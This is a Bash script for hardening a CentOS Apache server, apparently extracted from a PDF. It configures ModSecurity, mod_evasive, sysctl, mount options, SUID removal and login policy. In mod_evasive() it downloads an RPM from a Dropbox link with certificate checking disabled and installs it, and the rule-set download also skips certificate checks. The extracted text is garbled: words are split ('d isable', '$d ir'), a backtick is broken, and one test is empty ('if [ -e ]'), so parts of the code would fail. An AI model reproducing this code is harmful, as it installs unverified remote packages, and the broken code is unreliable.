all\n\t<\/LimitExcept>\n/' $destination_file  

 elif [ "$directory" == "root" ]; then 

  sed -i '/<Directory \/>/,/<\/Directory>/ s/AllowOverride none/\tOptions 

None\n\tOrder Deny,Allow\n\t#Deny from all/' $destination_file  

  sed -i '/<Directory \/>/,/<\/Directory>/ s/Require all denied/\tAllowOverride None/' 

$destination_file  

 elif [ "$directory" == " mod_evasive" ]; then 

  sed -i '/<IfModule mod_evasive24.c>/,/<\/IfModule>/ s/#DOSEmailNotify       

you@yourdomain.com/DOSEmailNotify      labis.papadopoulos@gmail .com/' $destination_file  

  dir='/var/www/html/ logs' 

  [ ! -d "$dir" ] && mkdir -p "$d ir"  

  sed -i '/<IfModule mod_evasive24.c>/ ,/<\/IfModule>/ s/#DOSLogDir           

"\/var\/lock\/mod_evasive"/DOSLogDir           "\/var\/www\/html\/logs"/' $destination_file  

 fi 

} 

 

#===  FUNCTION  ==========================================================  

#          NAME: mod_security 

#   DESCRIPTION: Execute Mod_Security installation and configuration  

#     PARAMETER: --- 

#========================================================================  

function mod_security() 

{ 

 # source: https://devops.ionos.com/tutorials/how-to-configure-modsecurity-and-mod_evasive-

for-apache-on-centos-7/, 
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 # https://artsysops.com/2019/12/17/how-to-harden-apache-web-server-on-centos-7/ 

 log_info "Is going to install Mod_Security, please wait..."  

 install_packages $MOD_SECURITY 

  

 apache_restart 

  

 backup_file $MOD_SECURITY_CONF 

  

 # Installing A Core Rule Set and Configuring Mod_Security  

 log_info "Installing A Core Rule Set and Configuring Mod_Security."  

 mkdir /etc/httpd/crs-rules 

 cd /etc/httpd/crs-rules 

 wget --no-check-certificate -c https://github.com/SpiderLabs/owasp-modsecurity-

crs/archive/v3.2.0.tar.gz -O master 

 tar xzf master 

 mv owasp-modsecurity-crs-3.2.0 owasp-modsecurity-crs 

 cd owasp-modsecurity-crs/ 

 cp crs-setup.conf.example crs-setup.conf 

 # Enable the below setting in case that is not included all *.conf files in apache httpd.conf 

config file  

# mod_security_config=$(cat <<EOF 

#<IfModule security2_module> 

# Include /etc/httpd/crs-rules/owasp-modsecurity-crs/crs-setup.conf 

# Include /etc/httpd/crs-rules/owasp-modsecurity-crs/rules/*.conf 

#</IfModule>  

#EOF 

#) 

 # append_config "$mod_security_config" $HTTPD_CONF  

 append_config $NEW_LINE $HTTPD_CONF # add new line in httpd.conf file  

  

 # We will place our customized directives and we create our own configuration file within the 

/etc/httpd/modsecurity.d directory 

 log_info "We will place our customized direct ives and we create our own configuration file  

within the $CUSTOM_CRS_CONF directory."  

 cd /etc/httpd/modsecurity.d 

 touch custom-crs.conf 

 custom_crs_configs=$(cat <<EOF 

<IfModule mod_security2.c> 

 SecRuleEngine On  

 SecRequestBodyAccess On 

 SecResponseBodyAccess On  

 SecResponseBodyMimeType text/plain text/html text/xml application/octet-stream  

 SecDataDir /tmp  

</IfModule> 

EOF 

) 

 append_config "$custom_crs_configs" $CUSTOM_CRS_CONF  

 append_config $NEW_LINE $CUSTOM_CRS_CONF 

 cd $PWD 

  

 # perform test to mod_security 

 log_info "Is going to perform test to Mod_Security." 

 mod_security_status_code=`curl -s -o /dev/null -w "%{http_code}" http://localhost -A 

Nessus  ̀

 if [ "$mod_security_status_code" == "403" ]; then # 403 Forbidden 

  log_info "${COLOR_GREEN}Mod security test passed 

successfully!${COLOR_DEFAULT}" 

 else 

  curl -i http://localhost -A Nessus 

  log_info "${COLOR_RED}Mod_security test failed! ${COLOR_DEFAULT}"  
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 fi 

} 

 

#===  FUNCTION  ==========================================================  

#          NAME: mod_evasive 

#   DESCRIPTION: Execute Mod_Evasive installation and configuration  

#     PARAMETER: --- 

#========================================================================  

function mod_evasive() 

{ 

 # source: https://phoenixnap.com/kb/apache-mod-evasive, 

 # https://www.tecmint.com/protect-apache-using-mod_security-and-mod_evasive-on-rhel-

centos-fedora/ 

 log_info "Is going to install Mod_Evasive" 

 # dnf install -y https://pkgs.dyn.su/el8/base/x86_64/raven-release-1.0-1.el8.noarch.rpm 

 # dnf --enablerepo=raven-ext ras install -y mod_evasive 

  

 # wget --no-check-certificate https://pkgs.dyn.su/el8/extras/x86_64/mod_evasive-0:1.10.1-

33.el8.x86_64.rpm 

 wget --no-check-certificate -O mod_evasive-0_1.10.1-33.el8.x86_64.rpm 

https://www.dropbox.com/s/8wufr6qz9oud1ys/mod_evasive-0_1.10.1-33.el8.x86_64.rpm?dl=1 

 dnf install -y mod_evasive-0_1.10.1-33.el8.x86_64.rpm 

 rm -rf mod_evasive-0_1.10.1-33.el8.x86_64.rpm 

  

 apache_restart 

  

 backup_file  $MOD_EVASIVE_CONF 

 # Remove the # sign, then replace you@yourdomain.com with your actual email address 

 replace_configs "mod_evasive" $MOD_EVASIVE_CONF 

  

 apache_restart 

  

 backup_file $MOD_EVASIVE_TEST_SCRIPT  

  

 # Apply bug fix to mod_evasive_test_script in order to ret rieve 403 Forbidden erro r  

 log_info "Is going to apply a bug fix to mod_evasive test.pl script in order to retrieve 403 

Forbidden error"  

 sed -i 's/HTTP\/1.0\\n\\n/HTTP\/1.0\\r\\n\\r\\n/g' $MOD_EVASIVE_TEST_SCRIPT  

  

 # perform some tests: 

 # testing: perl /usr/share/doc/mod_evasive/test.pl 

 log_info "Is going to execute Mod_Evasive test.pl script to test Mod_Evasive module"  

 forbidden_count=`perl $MOD_EVASIVE_TEST_SCRIPT | grep 'HTTP/1.1 403 Forb idden' | 

wc -l̀  

 log_info "Retrieved forbidden_count: $forbidden_count" 

 if [ "$forbidden_count" -gt "80" ]; then 

  log_info "${COLOR_GREEN}Mod Evasive test passed successfully! 

${COLOR_DEFAULT}"  

 else 

  log_info "${COLOR_RED}Mod_evasive test failed! ${COLOR_DEFAULT}"  

 fi 

} 

 

#===  FUNCTION  ==========================================================  

#          NAME: apache_hardening 

#   DESCRIPTION: Execute Apache hardening processes 

#     PARAMETER: --- 

#========================================================================  

function apache_hardening() 

{ 
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 # Apache hardening source: https://devops.ionos.com/tutorials/how-to-harden-the-apache-

web-server-on-centos-7/ 

 backup_file $HTTPD_CONF 

  

 #Keep Apache Up To Date 

 log_info "Keeping Apache Up To Date"  

 yum update httpd -y 

  

 # Hide The Apache Version  

 log_info "Is going to hide the apache version" 

 append_config "ServerSignature Off" $HTTPD_CONF 

 append_config "ServerTokens Prod" $HTTPD_CONF 

  

 # Secure Apache From Clickjacking Attacks 

 log_info "Securing Apache From Clickjacking Attacks" 

 append_config "Header append X-FRAME-OPTIONS \"SAMEORIGIN\"" $HTTPD_CONF 

  

 # Disable ETag  

 log_info "Disabling ETag"  

 append_config "FileETag None" $HTTPD_CONF 

  

 # Disable TRACE and TRACK methods 

 log_info "Disabling TRACE and TRACK methods" 

 append_config "TraceEnable Off" $HTTPD_CONF 

 append_config $NEW_LINE $HTTPD_CONF # add new line in httpd.conf file  

  

 # Turn Off Directory Listing (add: -Indexes in Options) 

 log_info "Turning Off Directory Listing" 

 # Disable Apache's FollowSymLinks (add: -Fo llowSymLinks in Options) 

 log_info "Disabling Apache's FollowSymLinks"  

 # Turn Off Server-Side Includes (SSI) And CGI Execution (add: -ExecCGI -Includes in 

Options) 

 log_info "Turning Off Server-Side Includes (SSI) And CGI Execution" 

 replace_configs "html" $HTTPD_CONF 

 

 # Turn Off Server-Side Includes (SSI) And CGI Execution for specific web directory and also 

Limit Request Size  

 log_info "Turning Off Server-Side Includes (SSI) And CGI Execution for specific web  

directory and also Limit Request Size"  

 configs=$(cat <<EOF 

<Directory "/var/www/example.com/"> 

 Options -Includes -ExecCGI 

 LimitRequestBody 204800 

</Directory> 

EOF 

) 

 # append_config "$configs" $HTTPD_CONF # TODO check 

 append_config $NEW_LINE $HTTPD_CONF # add new line in httpd.conf file  

  

 # Disable Unnecessary Modules 

 log_info "Disabling Unnecessary Modules" 

 backup_file $BASE_MODULES 

 comment_parameter " LoadModule info_module modules \/mod_info.so" $BASE_MODULES 

 comment_parameter "LoadModule userdir_module modules \/mod_userdir.so" 

$BASE_MODULES 

  

 # Disallow Browsing Outside The Document Root 

 log_info "Disallowing Browsing Outside The Document Root" 

 replace_configs "root" $HTTPD_CONF 
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 # Secure Apache From XSS Attacks (add in IfModule mod_headers.c: Header set X-XSS-

Protection "1; mode=block") 

 log_info "Securing Apache From XSS Attacks" 

 # Protect Cookies With HTTPOnly Flag (add in IfModule mod_headers.c: Header edit Set-

Cookie ^(.*)$ $1;HttpOnly;Secure) 

 log_info "Protecting Cookies With HTTPOnly Flag"  

 mod_headers_conf=$(cat <<EOF 

<IfModule mod_headers.c> 

 Header set X-XSS-Protection "1; mode=block"  

 Header edit Set-Cookie ^(.*)$ $1;HttpOnly;Secure  

</IfModule> 

EOF 

) 

 append_config "$mod_headers_conf" $HTTPD_CONF 

 append_config $NEW_LINE $HTTPD_CONF # add new line in httpd.conf file  

} 

 

#===  FUNCTION  ==========================================================  

#          NAME: expect_script 

#   DESCRIPTION: Used in secure_bootloader for password creation  

#     PARAMETER: --- 

#========================================================================  

function expect_script(){ 

    cat <<EOF 

    log_user 0 

    spawn  ${MKPASSWD} 

    sleep 0.33 

    expect  "Enter password: " { 

        send "$GRUB_PASSPHRASE"  

        send "\n" 

    } 

    sleep 0.33 

    expect "Reenter password: " { 

        send "$GRUB_PASSPHRASE"  

        send "\n" 

    } 

    sleep 0.33 

    expect eof { 

        puts "\$expect_out(buffer)"  

    } 

    exit  0 

EOF 

} 

 

#===  FUNCTION  ==========================================================  

#          NAME: secure_bootloader 

#   DESCRIPTION: Enable superuser and create password on bootloader 

#     PARAMETER: --- 

#========================================================================  

function secure_bootloader() 

{ 

 backup_file $DEFAULTGRUB 

 backup_file $GRUB_40_CUSTOM  

 log_info "Securing bootloader" 

 if [ -n "$GRUB_PASSPHRASE" ]; then 

  sed -i 's/^GRUB_CMDLINE_LINUX=.*/GRUB_CMDLINE_LINUX="--users 

$GRUB_SUPERUSER"/' "$DEFAULTGRUB" 

  echo "set superusers=$GRUB_SUPERUSER" >> $GRUB_40_CUSTOM  

  GRUB_PASS=$(expect_script "$1" | $EXPECT | sed -e "/^\r$/d" -e "/^$/d" -e "s/.* 

\(.*\)/\1/") 
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  echo "password_pbkdf2 $GRUB_SUPERUSER $GRUB_PASS" >> 

$GRUB_40_CUSTOM  

  echo 'export superusers' >> $GRUB_40_CUSTOM  

  log_info "Secure Bootloader fin ished successfully!"  

 fi 

} 

 

#===  FUNCTION  ==========================================================  

#          NAME: d isable_unneeded_modules 

#   DESCRIPTION: Disable unneeded kernel and file systems modules,  

#       disable also unwanted services and protocols 

#     PARAMETER: --- 

#========================================================================  

function disable_unneeded_modules() 

{ 

 # ok 

 # Disable unwanted services 

 log_info "Is going to disable unwanted services" 

 for disable in $UNW_SERVICES; do 

  systemctl disable $disable 

 done 

  

 # ok 

 # Disable unneeded kernel modules  

 log_info "Is going to disable unneeded kernel modules" 

 for disable in $MOD; do 

  if ! grep -q "$disable" "$DISABLEMOD" 2> /dev/null; then 

   echo "install $disable /bin/true" >> "$DISABLEMOD" 

  fi 

 done 

  

 # ok 

 # Disable unneeded file  systems 

 log_info "Is going to disable unneeded file systems" 

 for disable in $UNW_FS; do 

  if ! grep -q "$disable" "$DISABLEFS" 2> /dev/null; then 

   echo "install $disable /bin/true" >> "$DISABLEFS"  

  fi 

 done 

  

 # ok 

 # Disabling unwanded protocols 

 log_info "Is going to disable unwanded protocols" 

 for disable in $UNW_PROT; do 

   if ! grep -q "$disable" "$DISABLENET" 2> /dev/null; then 

    echo "install $disable /bin/true" >> "$DISABLENET"  

   fi 

 done 

  

 # Disable core dumps 

 #log_info "Is going to disabling coredump" # Causes error on mod_evasive an d mod_security 

testing 

 #backup_file $SYSTEMCONF 

 #sed -i 's/^#DumpCore=.*/DumpCore=no/' "$SYSTEMCONF" 

 #sed -i 's/^#CrashShell=.*/CrashShell=no/' "$SYSTEMCONF"  

 #sed -i 's/^#DefaultLimitCORE=.*/DefaultLimitCORE=0/' "$SYSTEMCONF"  

 #sed -i 's/^#DefaultLimitNOFILE=.*/DefaultLimitNOFILE=100/ ' "$SYSTEMCONF"  

 #sed -i 's/^#DefaultLimitNPROC=.*/DefaultLimitNPROC=100/' "$SYSTEMCONF"  

 backup_file $USERCONF 

 sed -i 's/^#DefaultLimitCORE=.*/Defau ltLimitCORE=0/' "$USERCONF"  
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 sed -i 's/^#DefaultLimitNOFILE=.*/DefaultLimitNOFILE=100/' "$USERCONF" 

 sed -i 's/^#DefaultLimitNPROC=.*/DefaultLimitNPROC=100/' "$USERCONF"  

 

 systemctl daemon-reload  

 

 if test -f "$COREDUMPCONF"; then 

  backup_file $COREDUMPCONF 

  log_info "Fixing Systemd/coredump.conf"  

  sed -i 's/^#Storage=.*/Storage=none/' "$COREDUMPCONF"  

 

  systemctl restart systemd-journald  

  log_info "systemd-journald restarted successfully!" 

 fi 

} 

 

#===  FUNCTION  ==========================================================  

#          NAME: secure_mounts 

#   DESCRIPTION: Disable the execution rights in shared memory in files /tmp, /var/tmp and /dev/shm 

#     PARAMETER: --- 

#========================================================================  

function secure_mounts() 

{ 

 log_info "Is going to secure mounts" 

 

cat > /etc/systemd/system/tmp.mount <<EOF 

# /etc/systemd/system/default.target.wants/tmp.mount -> ../tmp.mount 

 

[Unit ] 

Description=Temporary Directory 

Documentation=man:h ier(7) 

Before=local-fs.target 

 

[Mount] 

What=tmpfs 

Where=/tmp  

Type=tmpfs 

Options=mode=1777,strictatime,nosuid,nodev 

EOF 

 

 sed -i '/floppy/d' /etc/fstab 

 

 if [ -e   ]; then 

  sed -i '/^\/tmp/d' /etc/fstab 

 

  for t in $(mount | grep -e " /tmp " -e " /var/tmp " -e " /dev/shm " | awk '{print $3}');  

do 

   umount $t 

  done 

 

  mkdir /etc/systemd/system/default.target.wants  

 

  sed -i '/[[:space:]]\/tmp[[:space:]]/d' /etc/fstab 

 

  ln -s /etc/systemd/system/tmp.mount 

/etc/systemd/system/default.target.wants/tmp.mount 

  sed -i 's/Options=.*/Options=mode=1777,strictatime,nodev,nosuid/' 

/etc/systemd/system/tmp.mount 

 

  cp /etc/systemd/system/tmp.mount /etc/systemd/system/var-tmp.mount 

  sed -i 's/\/tmp/\/var\/tmp/g' /etc/systemd/system/var-tmp.mount 
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  ln -s /etc/systemd/system/var-tmp.mount 

/etc/systemd/system/default.target.wants/var-tmp.mount 

 

  cp /etc/systemd/system/tmp.mount /etc/systemd/system/dev-shm.mount 

  sed -i 's/\/tmp/\/dev\/shm/g' /etc/systemd/system/dev-shm.mount 

  ln -s /etc/systemd/system/dev-shm.mount 

/etc/systemd/system/default.target.wants/dev-shm.mount 

  sed -i 's/Options=.*/Options=mode=1777,strictatime,noexec,nosuid/' 

/etc/systemd/system/dev-shm.mount 

 

  chmod 0644 /etc/systemd/system/tmp.mount 

  chmod 0644 /etc/systemd/system/var-tmp.mount 

  chmod 0644 /etc/systemd/system/dev-shm.mount 

 

  systemctl daemon-reload  

 else 

  log_error '/etc/systemd/system/tmp.mount was not found.' 

 fi 

} 

 

#===  FUNCTION  ==========================================================  

#          NAME: configure_sysctl_params  

#   DESCRIPTION: Security configurations in sysctl params  

#     PARAMETER: --- 

#========================================================================  

function configure_sysctl_params() 

{ 

 log_info "Is going to configure sysctl parameters"  

 IFS=' 

' 

 backup_file $SYSCTL 

  

 append_config "fs.protected_hardlinks = 1" $SYSCTL 

 append_config "fs.protected_symlinks = 1" $SYSCTL 

 append_config "fs.suid_dumpable = 0" $SYSCTL  

 append_config "kernel.core_uses_pid = 1" $SYSCTL 

 append_config "kernel.kptr_restrict = 2" $SYSCTL 

 append_config "kernel.panic = 60" $SYSCTL 

 append_config "kernel.panic_on_oops = 60" $SYSCTL 

 append_config "kernel.perf_event_paranoid = 2" $SYSCTL 

 append_config "kernel.randomize_va_space = 2" $SYSCTL  

 append_config "kernel.sysrq = 0" $SYSCTL 

 append_config "kernel.yama.ptrace_scope = 1" $SYSCTL  

 append_config "net.ipv4.conf.all.accept_redirects = 0" $SYSCTL 

 append_config "net.ipv4.conf.all.accept_source_route = 0" $SYSCTL 

 append_config "net.ipv4.conf.all.log_martians = 1" $SYSCTL 

 append_config "net.ipv4.conf.all.rp_filter = 1" $SYSCTL 

 append_config "net.ipv4.conf.all.secure_redirects = 0" $SYSCTL 

 append_config "net.ipv4.conf.all.send_redirects = 0" $SYSCTL 

 append_config "net.ipv4.conf.default.accept_redirects = 0" $SYSCTL 

 append_config "net.ipv4.conf.default.accept_source_route = 0" $SYSCTL 

 append_config "net.ipv4.conf.default.log_martians = 1" $SYSCTL 

 append_config "net.ipv4.conf.default.rp_filter= 1" $SYSCTL 

 append_config "net.ipv4.conf.default.secure_redirects = 0" $SYSCTL 

 append_config "net.ipv4.conf.default.send_redirects = 0" $SYSCTL 

 append_config "net.ipv4.icmp_echo_ignore_all = 1" $SYSCTL 

 append_config "net.ipv4.icmp_echo_ignore_broadcasts = 1" $SYSCTL 

 append_config "net.ipv4.icmp_ignore_bogus_error_responses = 1" $SYSCTL 

 append_config "net.ipv4.ip_forward = 0" $SYSCTL 

 append_config "net.ipv4.tcp_max_syn_backlog = 2048" $SYSCTL 



103 
 

 append_config "net.ipv4.tcp_rfc1337 = 1" $SYSCTL 

 append_config "net.ipv4.tcp_synack_retries = 2" $SYSCTL 

 append_config "net.ipv4.tcp_syncookies = 1" $SYSCTL 

 append_config "net.ipv4.tcp_syn_retries = 5" $SYSCTL 

 append_config "net.ipv4.tcp_timestamps = 0" $SYSCTL 

 append_config "net.ipv4.conf.all.forwarding = 0" $SYSCTL 

 append_config "net.ipv6.conf.all.d isable_ipv6 = 1" $SYSCTL  

 append_config "net.ipv6.conf.default.d isable_ipv6 = 1" $SYSCTL 

 append_config "net.ipv6.conf.lo.d isable_ipv6 = 1" $SYSCTL  

 append_config "net.ipv6.conf.all.use_tempaddr = 2" $SYSCTL 

 append_config "net.ipv6.conf.all.accept_ra = 0" $SYSCTL  

 append_config "net.ipv6.conf.all.accept_redirects = 0" $SYSCTL 

 append_config "net.ipv6.conf.default.accept_ra = 0" $SYSCTL 

 append_config "net.ipv6.conf.default.accept_ra_defrtr = 0" $SYSCTL  

 append_config "net.ipv6.conf.default.accept_ra_pinfo = 0" $SYSCTL 

 append_config "net.ipv6.conf.default.accept_redirects = 0" $SYSCTL 

 append_config "net.ipv6.conf.default.autoconf = 0" $SYSCTL 

 append_config "net.ipv6.conf.default.dad_transmits = 0" $SYSCTL 

 append_config "net.ipv6.conf.default.max_addresses = 1" $SYSCTL 

 append_config "net.ipv6.conf.default.router_solicitations = 0" $SYSCTL 

 append_config "net.ipv6.conf.default.use_tempaddr = 2" $SYSCTL 

 append_config "net.ipv6.conf.all.forwarding = 0" $SYSCTL 

 append_config "net.netfilter.nf_conntrack_max = 2000000" $SYSCTL 

 append_config "net.netfilter.nf_conntrack_tcp_loose = 0" $SYSCTL 

 

 # sed -i '/net.ipv6.conf.eth0.accept_ra_rtr_pref/d' "$SYSCTL"  

 

 for i in $(arp -n -a | awk '{print $NF}' | sort | uniq); do 

  # echo "net.ipv6.conf."$i".accept_ra_rtr_pref = 0"  

  append_config "net.ipv6.conf.$i.accept_ra_rtr_pref = 0" $SYSCTL 

 done 

 

 echo 1048576 > /sys/module/nf_conntrack/parameters/hashsize 

 

 chmod 0600 "$SYSCTL"  

 IFS='' 

 systemctl restart systemd-sysctl 

} 

 

#===  FUNCTION  ==========================================================  

#          NAME: configure_user_limits 

#   DESCRIPTION: Configuring user access limits in production apache web servers 

#     PARAMETER: --- 

#========================================================================  

function configure_user_limits() 

{ 

 # Configure user security limits  

 log_info "Is going to configure user security limits" 

 backup_file $LIMITSCONF 

  

 sed -i 's/^# End of file*//' "$LIMITSCONF"  

 append_config "* hard maxlog ins 10" $LIMITSCONF 

 append_config "* hard core 0" $LIMITSCONF 

 append_config "* soft nproc 100" $LIMITSCONF 

 append_config "* hard nproc 150" $LIMITSCONF 

 append_config "# End of file" $LIMITSCONF 

} 

 

#===  FUNCTION  ==========================================================  

#          NAME: remove_suid_bits 
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#   DESCRIPTION: Remove suid bits in some files to avoid root execution of these files 

#     PARAMETER: --- 

#========================================================================  

function remove_suid_bits() 

{ 

 # Remove suid bits  

 log_info "Is going to remove suid bits" 

 

 for p in /bin/fusermount /bin/mount /bin/ping /bin/ping6 /bin/su /bin/umount \ 

    /usr/bin/bsd-write /usr/bin/chage /usr/bin/chfn /usr/bin/chsh \ 

    /usr/bin/mlocate /usr/bin/mtr /usr/bin/newgrp /usr/bin/pkexec \  

    /usr/bin/traceroute6.iputils /usr/bin/wall /usr/sbin/pppd; 

 do 

  if [ -e "$p" ]; then 

   oct=$(stat -c "%a" $p |sed 's/^4/0/') # 0755 

   ug=$(stat -c "%U:%G" $p)    # root:root 

   chmod $oct $p 

   chown $ug $p  

   chmod -s $p  # clear the bits with symbolic modes like  

  fi 

 done 

 

 for SHELL in $(cat /etc/shells); do 

  if [ -x "$SHELL" ]; then 

   chmod -s "$SHELL"  

  fi 

 done 

} 

 

#===  FUNCTION  ==========================================================  

#          NAME: configure_umask 

#   DESCRIPTION: Apply strict permissions on files and folders by configuring system umask to '027'  

#     PARAMETER: --- 

#========================================================================  

function configure_umask() 

{ 

 # Set umask 

 log_info "Is going to set umask to 027"  

  

 if ! grep -q -i "umask" "/etc/profile" 2> /dev/null; then 

  backup_file $ETC_PROFILE 

  append_config "umask 027" $ETC_PROFILE  

 fi 

 

 if ! grep -q -i "umask" "/etc/bashrc" 2> /dev/null; then 

  backup_file $ETC_BASHRC 

  append_config "umask 027" $ETC_BASHRC 

 fi 

} 

 

#===  FUNCTION  ==========================================================  

#          NAME: secure_rhosts_hosts_equiv 

#   DESCRIPTION: Delete configs for possible remote access to apache web server 

#     PARAMETER: --- 

#========================================================================  

function secure_rhosts_hosts_equiv() 

{ 

 # Secure user and services host files  

 log_info "Is going to secure .rhosts and hosts.equiv" 
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 for dir in $(awk -F ":" '{print $6}' /etc/passwd); do 

  find "$dir" \( -name "hosts.equiv" -o -name ".rhosts" \) -exec rm -f {} \; 2> /dev/null 

 done 

   

 if [[ -f /etc/hosts.equiv ]]; then 

  rm /etc/hosts.equiv 

 fi 

} 

 

#===  FUNCTION  ==========================================================  

#          NAME: configure_tcp_wrappers 

#   DESCRIPTION: Configuring TCP wrappers for Centos services access control 

#     PARAMETER: --- 

#========================================================================  

function configure_tcp_wrappers() 

{ 

 # Configure TCP Wrappers  

 log_info "Is going to configure TCP Wrappers" 

 

 append_config "ALL: LOCAL, 127.0.0.1" $HOSTS_ALLOW  

 append_config "ALL: PARANOID" $HOSTS_DENY 

 chmod 644 $HOSTS_ALLOW  

 chmod 644 $HOSTS_DENY 

} 

 

#===  FUNCTION  ==========================================================  

#          NAME: configure_logindefs  

#   DESCRIPTION: Configuring accounts termination policy  

#     PARAMETER: --- 

#========================================================================  

function configure_logindefs() 

{ 

 # Configure logindefs  

 log_info "Is going to configure accounts termination policy"  

 

 sed -i 's/^.*LOG_OK_LOGINS.*/LOG_OK_LOGINS\t\tyes/' "$LOGINDEFS" 

 sed -i 's/^UMASK.*/UMASK\t\t077/' "$LOGINDEFS" 

 sed -i 's/^PASS_MIN_DAYS.*/PASS_MIN_DAYS\t\t7/' "$LOGINDEFS" 

 sed -i 's/^PASS_MAX_DAYS.*/PASS_MAX_DAYS\t\t30/ ' "$LOGINDEFS"  

 sed -i 's/DEFAULT_HOME.*/DEFAULT_HOME no/' "$LOGINDEFS"  

 sed -i 's/USERGROUPS_ENAB.*/USERGROUPS_ENAB no/' "$LOGINDEFS"  

 sed -i 's/^# SHA_CRYPT_MAX_ROUNDS.*/SHA_CRYPT_MAX_ROUNDS\t\t10000/' 

"$LOGINDEFS"  

} 

 

#===  FUNCTION  ==========================================================  

#          NAME: configure_loginconf 

#   DESCRIPTION: Configuring lock sessions and automatic users logout 

#     PARAMETER: --- 

#========================================================================  

function configure_loginconf() 

{ 

 # Configure loginconf 

 log_info "Is going to configure lock sessions and automatic users logout" 

 

 sed -i 's/^#KillUserProcesses=no/KillUserProcesses=1/' "$LOGINDCONF"  

 sed -i 's/^#KillExcludeUsers=root/KillExcludeUsers=root/' "$LOGINDCONF"  

 sed -i 's/^#IdleAction=ignore/IdleAction=lock/' "$LOGINDCONF"  

 sed -i 's/^#IdleActionSec=30min/IdleActionSec=15min/' "$LOGINDCONF"  

 sed -i 's/^#RemoveIPC=yes/RemoveIPC=yes/' "$LOGINDCONF"  
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 systemctl daemon-reload  

} 

 

#===  FUNCTION  ========================================================== 

#          NAME: locking_new_users 

#   DESCRIPTION: Lock new users 

#     PARAMETER: --- 

#========================================================================  

function locking_new_users() 

{ 

 # Locking new user shell by default  

 log_info "Is going to lock new users" 

 sed -i 's/SHELL=.*/SHELL=\/bin\/false/' "$USERADD"  

 sed -i 's/^# INACTIVE=.*/INACTIVE=35/' "$USERADD" 

} 

 

#===  FUNCTION  ==========================================================  

#          NAME: remove_unneeded_users 

#   DESCRIPTION: Delete unnecessary users 

#     PARAMETER: --- 

#========================================================================  

function remove_unneeded_users() 

{ 

 # Remove unneeded users 

 log_info "Is going to remove unwanted users" 

 

 for users in games gnats irc list news uucp; do 

  userdel -r "$users" 2> /dev/null 

 done 

} 

 

#===  FUNCTION  ==========================================================  

#          NAME: d isable_ipv6 

#   DESCRIPTION: Disable IPv6 protocol in case that is not used for security reasons 

#     PARAMETER: --- 

#========================================================================  

function disable_ipv6() 

{ 

 log_info "Is going to disable ipv6" 

 backup_file $NETCONFIG 

 sed -i 's/^GRUB_CMDLINE_LINUX=.*/GRUB_CMDLINE_LINUX="ipv6.d isable=1"/' 

"$DEFAULTGRUB" 

 sed '/udp6/d' $NETCONFIG 

 sed '/tcp6/d' $NETCONFIG 

} 

 

#===  FUNCTION  ==========================================================  

#          NAME: configure_dns_resovlers 

#   DESCRIPTION: Configure secure DNS resolvers to avoid man-in-the-middle attacks 

#     PARAMETER: --- 

#========================================================================  

function configure_dns_resovlers() 

{ 

 # Configure DNS resolvers  

 log_info "Is going to confugure secure DNS resolvers" 

 

 dnsarray=( $(grep nameserver /etc/resolv.conf | sed 's/nameserver//g') )  

 dnslist=${dnsarray[@]} 
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 backup_file $RESOLVEDCONF 

 backup_file $NSSWITCH 

 sed -i "s/^#DNS=.*/DNS=$dnslist/" "$RESOLVEDCONF"  

 sed -i "s/^#FallbackDNS=.*/FallbackDNS=8.8.8.8 8.8.4.4/" "$RESOLVEDCONF"  

 sed -i "s/^#DNSSEC=.*/DNSSEC=allow-downgrade/" "$RESOLVEDCONF"  

 sed -i '/^hosts:/ s/files dns/files resolve dns/' $NSSWITCH 

 

 systemctl daemon-reload  

} 

 

#===  FUNCTION  ==========================================================  

#          NAME: lock_cronjobs 

#   DESCRIPTION: Disable cron jobs for users 

#     PARAMETER: --- 

#========================================================================  

function lock_cronjobs() 

{ 

 # Lock up cronjobs 

 log_info "Is going to locking up cronjobs for users" 

 

 rm /etc/cron.deny 2> /dev/null 

 rm /etc/at.deny 2> /dev/null 

 

 echo 'root' > /etc/cron.allow 

 echo 'root' > /etc/at.allow 

 

 chown root:root /etc/cron* 

 chmod og-rwx /etc/cron* 

 

 chown root:root /etc/at* 

 chmod og-rwx /etc/at* 

 

 systemctl mask atd.service  

 systemctl stop atd.service 

 systemctl daemon-reload  

} 

 

#===  FUNCTION  ==========================================================  

#          NAME: configure_logrotate 

#   DESCRIPTION: Configure logrotate to avoid system corruption from log files  

#     PARAMETER: --- 

#========================================================================  

function configure_logrotate() 

{ 

 log_info "Is going to configure logrotate" 

 backup_file $LOGROTATE 

 echo '' > $LOGROTATE 

 

 log_rotate_configs=$(cat <<EOF 

# see "man logrotate" for details  

# rotate log files daily  

daily  

 

# use the syslog group by default, since this is the owning group 

# of /var/log/syslog. 

su root syslog 

 

# keep 7 days worth of backlogs  

rotate 7 
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# create new (empty) log files after rotating old ones 

create 

 

# use date as a suffix of the rotated file  

dateext  

 

# compressed log files  

compress 

 

# use xz to compress 

compresscmd /usr/bin/xz 

uncompresscmd /usr/bin/unxz 

compressext .xz  

 

# packages drop log rotation information into this directory 

include /etc/logrotate.d 

 

# no packages own wtmp and btmp -- we will rotate them here  

/var/log/wtmp { 

    monthly  

    create 0664 root utmp  

    minsize 1M 

    rotate 1 

} 

 

/var/log/btmp { 

    missingok 

    monthly  

    create 0600 root utmp  

    rotate 1 

} 

 

# system-specific logs may be also be configured here. 

EOF 

) 

 append_config "$log_rotate_configs" $LOGROTATE 

 

 backup_file $JOURNALDCONF 

 sed -i 's/^#Storage=.*/Storage=persistent/' "$JOURNALDCONF" 

 sed -i 's/^#ForwardToSyslog=.*/ForwardToSyslog=yes/' "$JOURNALDCONF" 

 sed -i 's/^#Compress=.*/Compress=yes/' "$JOURNALDCONF" 

 

 systemctl restart systemd-journald  

} 

 

 

# Malware Scanners 

#===  FUNCTION  ==========================================================  

#          NAME: enable_rkhunter 

#   DESCRIPTION: Install, configure and enable rkhunter scanner 

#     PARAMETER: --- 

#========================================================================  

function enable_rkhunter() 

{ 

 log_info "Installation of Rkhunter in p rogress. Please wait..."  

 install_packages $RKHUNTER_PACKAGE 

  

 # Enable RKHUNTER (source: https://www.theurbanpenguin.com/install-rkhunter-on-centos-

7/) 

 log_info "Is going to configure and enable rkhunter scanner" 
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 # sed -i 's/^CRON_DAILY_RUN=.*/CRON_DAILY_RUN="yes"/' "$RKHUNTERCONF"  

 # sed -i 's/^APT_AUTOGEN=.*/APT_AUTOGEN="yes"/' "$RKHUNTERCONF"  

 sed -i 's/ALLOW_SSH_ROOT_USER=.*/ALLOW_SSH_ROOT_USER=no/g' 

$RKHUNTERCONF 

 append_config "CRON_DAILY_RUN=\"yes\"" $RKHUNTERCONF 

